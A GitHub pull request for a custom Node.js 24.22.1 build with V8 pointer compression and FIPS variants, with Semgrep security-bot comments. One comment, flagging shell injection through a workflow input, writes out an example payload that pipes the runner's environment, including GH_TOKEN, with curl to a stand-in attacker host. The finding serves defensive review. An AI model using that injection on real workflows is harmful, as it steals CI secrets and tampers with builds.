Skip to content

Node 24.22.1 build for post-Fiber Elimination LunaServer - #30

Draft
jrsells wants to merge 4 commits into
v24.22.1from
jrsells/node-v24.22.1-post-fibers
Draft

jrsells wants to merge 4 commits into
v24.22.1from
jrsells/node-v24.22.1-post-fibers

Conversation

@jrsells

@jrsells jrsells commented Oct 26, 2026 •

Copy link
Copy Markdown

Summary

Asana's Node.js 24.22.1 (LTS "Krypton") build for LunaServer after Fiber Elimination. Unlike the 18/20/22 forks, this one doesn't patch V8 or Node's JavaScript: with node-fibers gone, the only reason left to fork is to keep V8 pointer compression, which upstream doesn't ship in its release binaries. The only source change is a one-line OpenSSL compatibility define that the FIPS build needs.

The base branch v24.22.1 is exactly upstream v24.22.1 (ce7aaf1cee), so this diff is everything Asana adds.

What's in it

Commit What
build: add Asana Node 24 builds with pointer compression Dockerfile.Node24 and Dockerfile.Node24fips, the build-node.yml and build-node-openssl-fips.yml workflows, and the post-build verification (asana-verify-build.sh and asana-smoke-test.js)
build: build native packages and stage S3 uploads for Node 24 Dockerfile.Packages, build-node-packages.yml and stage_for_s3.bash
deps: define EVP_PKEY_PRIVATE_KEY for early OpenSSL 3.0 headers Lets the FIPS build compile against Ubuntu 22.04's OpenSSL 3.0.2
build: check LunaServer's V8 startup flags in the smoke test Starts Node with LunaServer's real flags (--no-wasm-code-gc, --stack_trace_limit, and others)

What's intentionally not carried over from v22.21.1

  • V8 fiber/TLS patches (isolate.cc, thread-id.cc, and others) and the CppHeap disable in src/env.cc. These only existed for node-fibers.
  • Maglev stays enabled, which is the upstream default. Jack's 24.13.0 branch disabled it only because of fibers.
  • The process.binding('util') patch in lib/internal/bootstrap/realm.js, which exposed getPromiseDetails. LunaServer drops that dependency along with fibers.
  • Dockerfile.Fibers, build-node-fibers.yml, and the fibers steps in stage_for_s3.bash.
  • No Brotli CVE-2026-111497 backport. 24.22.1 already ships the fix, and the smoke test checks for it.

Key decisions

Compiler and OS: Ubuntu 22.04 with its own g++-12 (12.3). The binary has to run everywhere the LunaServer Node toolchain runs:

  • the Wolfi-based LunaServer images (glibc 2.43, libstdc++ 16);
  • Ubuntu 22.04 sandboxes and EngFlow remote-execution workers (glibc 2.35, libstdc++ up to GLIBCXX_3.4.30), which run LunaServer tests.

Node 24 needs GCC ≥ 12.2, and 22.04's g++-12 meets that while emitting nothing newer than GLIBCXX_3.4.30. So none of Jack's GCC 11 source patches are needed. Today's v22 x64 binary requires GLIBC_2.29 and GLIBCXX_3.4.30, which is the same ceiling. asana-verify-build.sh fails the build if any GLIBC_, GLIBCXX_ or CXXABI_ symbol version exceeds what 22.04 ships.

Pointer compression: plain --experimental-enable-pointer-compression (multi-cage, V8 sandbox off).

  • In Node 24 every isolate, meaning the main thread and each worker, gets its own 4 GB cage through IsolateGroup.
  • --experimental-pointer-compression-shared-cage would turn on the V8 sandbox. The sandbox rejects the external ArrayBuffer backing stores that native addons create, so it's not used.
  • The smoke test asserts v8_enable_pointer_compression=1, v8_enable_sandbox=0, and that --max-old-space-size=8192 still caps the heap at about 4 GB.

FIPS: --shared-openssl against Ubuntu 22.04's OpenSSL 3.0.2, as on v22.21.1.

  • At runtime the Wolfi FIPS image supplies libcrypto 3.6 and the FIPS provider.
  • Compiling against 3.0 headers compiles out Node's OpenSSL 3.2+ features (Argon2, ML-KEM/ML-DSA, and others) in the FIPS binary only. That's the same trade-off we make today.

NODE_MODULE_VERSION stays 137 (stock).

  • That keeps us consistent with v22.21.1, which kept 127, and keeps working with tooling that keys on it.
  • The cost: a prebuilt NAN/V8-API addon built for stock Node 24 will load and then misbehave. That's why Dockerfile.Packages rebuilds @datadog/pprof and friends against our headers.

Verification built into the workflows

asana-verify-build.sh runs on every build, before anything is uploaded:

  1. Symbol versions: at most GLIBC_2.35, GLIBCXX_3.4.30 and CXXABI_1.3.13.
  2. asana-smoke-test.js on stock ubuntu:22.04 and on cgr.dev/chainguard/wolfi-base. These run in containers, not on the runner, because GitHub's ubuntu-22.04 runner images carry a newer libstdc++. The smoke test checks:
    • the pointer compression and sandbox configuration, and the 4 GB heap cage;
    • that Maglev is enabled, and the OpenSSL linkage (bundled vs shared);
    • the Brotli CVE fix;
    • worker heaps, WebAssembly memory reservation, full ICU, and AsyncLocalStorage across timers;
    • crypto and TLS basics, and v8.serialize;
    • LunaServer's startup flags.

Dockerfile.Packages also loads every rebuilt addon with our Node and exercises the pprof heap and wall-time profilers, the code path that crashed on custom Node 20.

How to build and publish

B=jrsells/node-v24.22.1-post-fibers   # or v24.22.1 after merge
gh workflow run build-node.yml --repo Asana/node --ref $B
gh workflow run build-node-openssl-fips.yml --repo Asana/node --ref $B -f BUILD_REF=$B -f DOCKER_FILE=Dockerfile.Node24fips
# after the standard build has published node-v24.22.1-*-LATEST.tar.xz to the release:
gh workflow run build-node-packages.yml --repo Asana/node --ref $B

Then, with ProdOncall, run ./stage_for_s3.bash.

  • It stages everything under its asana-oss-cache key layout (node/fork/v24.22.1/, node-fips/v24.22.1/ and node-gyp/) with unique names, so nothing existing is overwritten.
  • It prints the node_toolchains_bzlmod.bzl and tools_repositories.bzl stanzas for codez.

build-node-packages.yml now reads the Node version from the checked-out tree and takes a NODE_REF input. Porting it to main would therefore let workflow_dispatch -f NODE_REF=v24.22.1 from main do the packages S3 upload itself through the existing OIDC role. Until then, stage_for_s3.bash stages the packages for a manual upload.

Follow-ups in codez (not in this PR)

  1. luna/server/utils/fiber_elimination_utils.ts throws Unsupported Node version at import on anything but v14, v18, v20 or v22. It's imported (directly or through fiber_elimination_promise_utils) by fiber_job_pool.ts, fiber_tunneling_utils.ts, remote_job*.ts, server_env.ts and others. It must be deleted along with fibers. Its getPromiseDetails hack has no support in this build.
  2. Toolchains: add nodejs24pc and nodejs24fips to asana2/third_party/node/node_toolchains_bzlmod.bzl (the stanza is printed by stage_for_s3.bash), then register them in node.MODULE.bazel and point the node_targets in node/BUILD at them. Also update _with_darwin_host_placeholders, which hardcodes 22.21.1-linux_amd64.
  3. Native packages: add node_gyp_packages_{amd64,arm64}_node24 to tools_repositories.bzl, tools.MODULE.bazel and node/gyp/BUILD.
  4. unix-dgram needs a newer nan.
    • The lockfile resolves nan 2.17.0 for unix-dgram, and 2.17.0 predates V8 13.
    • The Bazel install hook that compiles unix-dgram will probably fail on Node 24 headers.
    • Add a pnpm override, "unix-dgram>nan": "2.28.0".
    • Images get the build from this branch's packages tarball, but Bazel test runs use the install-hook build.
  5. Native addons that load stock-layout binaries. These are dormant today:
    • @airbnb/node-memwatch is built against stock headers and nothing requires it, so remove it from node/BUILD.
    • @datadog/native-iast-taint-tracking ships only stock raw-V8 prebuilds, so keep IAST off.
    • The tarball's bcrypt@5.1.0/ directory doesn't match the real store directory. bcrypt uses N-API, so this is harmless, but it's dead.
    • @confluentinc/kafka-javascript's custom tarball already has node-v137 binaries.
  6. Deprecations that become runtime warnings in 24:
    • url.parse() in luna/server/http/control/control_server.ts:15 (DEP0169, in the liveness/readiness server), luna/common/s3_testing.js and cluster_config_validator.js. Use new URL(req.url, "http://localhost").
    • entry.kind and entry.flags in garbage_collection_reporter.ts (DEP0152; they become undefined on 26). Use entry.detail.kind and entry.detail.flags.
    • Scans found no hits for util.is*, SlowBuffer, crypto.fips, fs.F_OK or Node's own _headers. The response._headers hits are Asana's own wrapper.
  7. Behavior changes to validate on stag:
    • The standard build bundles OpenSSL 3.5, which offers X25519MLKEM768 by default. The larger ClientHello can trip egress proxies.
    • Young-generation sizing changed, so re-measure --max-semi-space-size (tools/starlark/lunaserver.bzl:171).
    • AsyncLocalStorage now runs on AsyncContextFrame by default. LunaServer's enterWith pattern behaved the same in local tests; also confirm dd-trace context propagation.
    • Re-check the Node 22 memory tuning (WS maxOldSpaceSize 1600 and RJ 2000 in releasez values.yaml).
  8. Flags: --experimental-abortcontroller (node/launcher.sh) is a no-op now. --no-wasm-code-gc only existed for fibers, so drop it after rollout.
  9. Rollout: follow the same two-PR path as Node 22: sand, stag, then patchbed (optional), beta, canary, prod, and FedRAMP (FIPS).

Node 26 (not attempted here)

26.x requires GCC ≥ 13.2 or Clang ≥ 19.1. A GCC 13 build needs GLIBCXX_3.4.31 or newer, which Ubuntu 22.04 sandboxes and EngFlow workers don't have. Getting to 26 means one of:

  • moving those hosts to Ubuntu 24.04;
  • linking libstdc++ statically (--partly-static);
  • building with Clang against the 22.04 libstdc++.

It would also break the buffer-equal-constant-time package, because SlowBuffer is removed in 26. That takes down jsonwebtoken and google-auth-library through jwa. The kafka tarball also has no ABI 147 binary.

24 is the LTS through April 2028, so it's the right next step either way.

Comment on lines +64 to +66
run: |
docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} .

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 High severity blocking issue identified in your code:

The untrusted inputs.DOCKER_FILE value is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrate GH_TOKEN or modify build artifacts.

More details about this

inputs.DOCKER_FILE is interpolated directly into the shell script that runs docker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.

For example, a malicious input such as:

Dockerfile; env | curl -X POST --data-binary @- https://attacker.example/collect #

turns the step into commands equivalent to:

docker build -t node_fips_build -f ./Dockerfile

env | curl -X POST --data-binary @- https://attacker.example/collect

The injected command executes on the GitHub runner with the workflow environment, including GH_TOKEN from secrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived by Upload Node archive.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} .
env:
DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
run: |
docker build -t node_fips_build -f "./$DOCKER_FILE" .
View step-by-step instructions
  1. Add the input to the step’s env: block instead of interpolating it directly in the shell script:
    env:
      DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
  2. Replace the direct GitHub expression with the quoted environment variable:
    run: |
      docker build -t node_fips_build -f "./$DOCKER_FILE" .
  3. Keep the working-directory: node setting so the Dockerfile path remains relative to the checked-out Node source. Quoting "$DOCKER_FILE" prevents input characters from being interpreted as shell syntax.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

@semgrep-code-asana

Copy link
Copy Markdown

Semgrep found 8 github-actions-mutable-action-tag findings:

🟡 Medium severity issue identified in your code:

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

Please reach out to Security (go/sec-inbox) if you need help with this.

jrsells and others added 4 commits October 25, 2026 19:12
Standard and FIPS (shared OpenSSL) builds on Ubuntu 22.04 with its
g++-12, configured with --experimental-enable-pointer-compression
(multi-cage, V8 sandbox off). No fiber patches: LunaServer no longer
uses node-fibers, so Maglev and CppHeap stay at upstream defaults.

Each build is verified before it is published: the binary may only
require glibc/libstdc++ symbol versions shipped by Ubuntu 22.04 (the
sandbox and remote-execution hosts), and asana-smoke-test.js must pass
on stock Ubuntu 22.04 and on Wolfi (the LunaServer image base).

Co-authored-by: Cursor <cursoragent@cursor.com>
Dockerfile.Packages rebuilds bcrypt, cld, unix-dgram and
@datadog/pprof against this branch's Node and loads each one as a
smoke test. build-node-packages.yml reads the Node version from the
checked-out tree and accepts a NODE_REF input, so it also works when
dispatched from main for the S3 upload.

stage_for_s3.bash stages the release artifacts under their
asana-oss-cache key layout with unique names and prints the codez
Starlark for node_toolchains_bzlmod.bzl and tools_repositories.bzl.

Co-authored-by: Cursor <cursoragent@cursor.com>
The FIPS build links against Ubuntu 22.04's shared OpenSSL 3.0.2, whose
headers predate EVP_PKEY_PRIVATE_KEY. Define it with the same value
later OpenSSL releases use.

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

1 participant